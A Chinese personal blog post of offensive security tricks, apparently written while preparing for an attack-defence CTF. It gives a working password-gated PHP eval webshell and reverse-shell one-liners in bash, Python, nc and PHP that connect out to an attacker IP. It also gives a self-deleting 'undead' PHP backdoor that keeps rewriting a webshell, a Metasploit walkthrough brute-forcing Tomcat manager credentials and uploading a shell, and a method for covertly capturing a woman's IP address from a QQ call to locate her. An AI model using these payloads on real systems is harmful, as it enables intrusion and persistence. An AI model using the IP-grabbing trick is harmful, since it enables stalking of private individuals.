实战中可能会用到的几个技巧

还有半个多月蓝帽杯就要开始了, 真的瑟瑟发抖. 估计要被虐菜.
唉, 实在不行就当北京一日游了QAQ.

md5 加密一句话木马

1
2
3
4
5
6
# 密码: a='youjianing' & b
<?php
if(md5($_GET['a']) == 'a4e8129c8cf66411c82c9a02fa08d223'){
@eval($_POST['b']);
}
?>

通过一层md5加密, 使得木马的安全性大大提高.
值得注意的是实战中需要找到足够安全的MD5密文.
顺便在这几次试验中确认, index是否被' ' 或 " "包裹无影响. (没有系统学过PHP伤不起, 一到这种细节的地方就容易犯嘀咕)

反弹shell

出处

本来是想好好整理出自己的文章的, 但是这篇博客我觉得已经把基本的方法罗列的很清楚, 写的足够好了.

linux命令反弹shell

1
bash -i >& /dev/tcp/ip/port 0>&1

python反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

nc反弹shell

1
nc -e /bin/bash 192.168.1.146 7777

php反弹shell

php的exec函数反弹

1
php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.1.146/7777");'

php的fsockopen远程连接

1
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

不死马

制作不死马

在awd中, 经过混淆的一句话木马虽然能提供可使用的shell, 但是容易被服务器管理者发现并删除, 这不利于权限的维持.
不死马(也叫内存马), 一旦在目标主机中运行就无法通过一般的方法删除, 这对我们持续持有权限是极有帮助的.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 摘自 https://www.jianshu.com/p/3cd8cc491b54
# ?pass=pass&
# 密码 ?pass=pass & a
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
  • ignore_user_abort($setting):
    函数设置与客户机断开是否会终止脚本的执行.
    setting: 可选。如果设置为 true,则忽略与用户的断开,如果设置为 false,(与用户的断开)会导致脚本停止运行。如果未设置该参数,会返回当前的设置。
  • set_time_limit($time):
    设置脚本的最大运行时间, 如果$time=0, 则不限制时间.
  • unlink($file):
    删除文件. $file=__FILE__, 则删除脚本自身.
  • file_put_contents($file,$code):
    将字符串$code写入文件$file中.
  • usleep($time):
    暂停$time(毫秒), 与sleep($time)唯一的区别为单位, sleep()为秒.

此处code写入的是上文提到的加密过的一句话木马, 可以根据需要自行修改.

目前脚本在Windows下, 使用VScoderun code可以成功运行并实现”不死”, 也可以通过web服务, 使用浏览器访问使之运行.
不过在linux下, 包括Ubuntu和kali系统, 我都无法通过浏览器访问的方式让脚本运行, 只能用命令

1
php ./不死马.php

来运行 , 这一点还不知道为什么.
希望dalao们能指点迷津.

嗯, 在p4ssw0rd学长的鼎力支持下, 我基本搞明白怎么回事了.
再次感谢学长

上述异常的原因和解决办法

我们在linux(包括ubuntukali)下没办法用浏览器连接启动的原因, 其实是权限问题.
当我把不死马(buisma.php)放在web目录下然后访问, 浏览器会表示正在加载, 可是回过头来看.

1
unlink(__FILE__);

如果正常运行的话, 不死马文件本身是要被删除的. 可是busima.php既没有被删除, 也没有创建2.php这个文件.
其实问题就出在这里. 我们知道linux的每个文件和目录都有权限控制. 如果用ls -al查看某个目录或者文件, 最前面会显示出权限控制信息, 通常为类似下面这段代码.

1
drwxrwxr-x 2 ubuntu ubuntu     4096  Jul  30  20:09 test

这是什么意思呢?

首先d表示这个文件是一个文件夹,然后文件的权限一共有9个字符表示,分成三组,分别表示文件所属用户的权限,文件所属用户组的权限,其他人的权限,r 表示读权限, w表示写权限, x表示执行权限.
From : https://zhidao.baidu.com/question/294587410.html

按照我们的例子就是:

  • test是一个目录
  • 所属用户拥有读写执行, 所属用户组拥有读写执行权限, 其它用户拥有读执行权限, 没有写入权限.
  • 所属用户为ubuntu, 所属用户组为ubuntu

如果我们使用web服务来使其运行, 那么就是以www-data用户执行, 它属于其它用户, 没有写入权限.
而之前提到的删除正需要写入权限, 自然程序到这里就没法继续执行了.
事实是否如此, 我们可以验证下.

1
2
3
4
5
ubuntu@VM-0-3-ubuntu:/var/www/html$ chmod test 777
ubuntu@VM-0-3-ubuntu:/var/www/html$ ls -al "test"
total 16
drwxrwxrwx 2 ubuntu ubuntu 4096 Jul 31 14:33 .
(略)

浏览器访问, 不死马直接运行, 没得毛病!

杀死不死马

因为不死马已经被写进内存中不断写webshell, 所以只删除webshell没有任何意义. 必须终止不死马的进程.
如果是拥有管理员权限的情况下, 直接关掉apache2服务是最直接的, 因为不死马是在它的子进程下.
不过比赛中一般都是低权限用户, 没法直接关闭apache2服务. 但也可以用下面的方法杀不死马.
用蚁剑或菜刀连上自己留的webshell(相当于登录www-data用户), 然后在终端输入命令

1
killall -u www-data

kill 所有www-data用户下的进程(当然也包括busima). 很巧的是, 那些root的服务, 我们权限不够, kill 不了, 自然不会让服务挂掉.

metasploit一次实战

  1. 为什么要记录这次?
    因为这次是我第一次比较正式的使用metasploit, 也真正的见识到了它的强大, 我相信这个工具将来还会扮演更重要的角色.
    除此之外, 这个靶机位于国外, 需要科学上网, 所以如果将来想要复现还比较麻烦, 不如干脆详细的记录一下. 供将来的自己参照查看.

  2. 首先查看自己的ip和子网ip, 这是所有步骤的开始.

  3. 获取了子网的ip地址后, 我们知道靶机就在这个子网中, 所以可以用Nmap扫出靶机的位置.

    靶机IP为192.68.149.3

  4. 这个时候如果直接用浏览器访问是访问不到的. 因为我们还不知道它的http端口是多少(默认大多为80或8080). 我们还需要更详细的信息.

  5. 再次访问192.68.149.3:8080就能访问web服务了. 下面就用这次的主角metasploit针对tomcat的漏洞进行攻击.

  6. 我们选用tomcat_mgr_login这个漏洞来尝试获得后台的账户和密码.

  7. 查看相关的参数

  8. 设置参数. 包括靶机的ip和端口, 使用的账户名和密码字典.

  9. 设置完成后就可以开始漏洞利用了.

  10. 成功爆破出了我们要的东西.

  11. 用浏览器尝试下能不能登陆后台.

    没有问题!

  12. 下面再用第二个漏洞来获取shell.
    这次我们用tomcat_mgr_upload, 并查看参数.

  13. 设置好后就开始漏洞利用.

  14. 下面是成功后的效果.

    可以看到这里的meterpreter和真正的shell还是有所区别的.
    值得注意的一点, 可以用下面的命令来使用python调出shell.

    1
    python -c "import pty;pty.spawn('/bin/sh')"
  15. 完.
    头一次截了这么多图, 真鸡儿累.
    抱歉, 图被无良七牛云吞了, 有生之年可能会找回来.
    还好当时是用QQ截的图, 缓存在QQ里了, 哈哈哈

    用QQ获取女神的IP

    某个寂寞的夜晚, 我又想起我的女神.
    女神啊, 你现在在何方?
    马上就能知道.
    .
    .
    .
    这边打开着wireshark, 开始抓包.
    拿起手机, 打开女神的qq聊天框, 丢过去个qq电话.
    大概过个几秒(时间把握好, 别让女神接了电话…哈哈哈).
    回到wireshark这, 停止抓包.

Ctrl+F, 设置为字符串分组详情.
然后在框里输入020048, 就能找到女神的IP地址了
这串代码应该是QQ电话的请求的二进制码的一部分.

效果:

图没了 QAQ

于是我拿着女神的IP尝试着定位了一下, 感觉没什么异常, 就安心了.

完.
好吧, 这和实战没啥关系, 就是觉得好玩. 而且也很简单.

详细过程

感慨

接触网络安全越久, 发现自己的未知面就越广.
觉得自己要学的东西还有太多.
不过我不想急于求成, 惟愿每天都有所收获.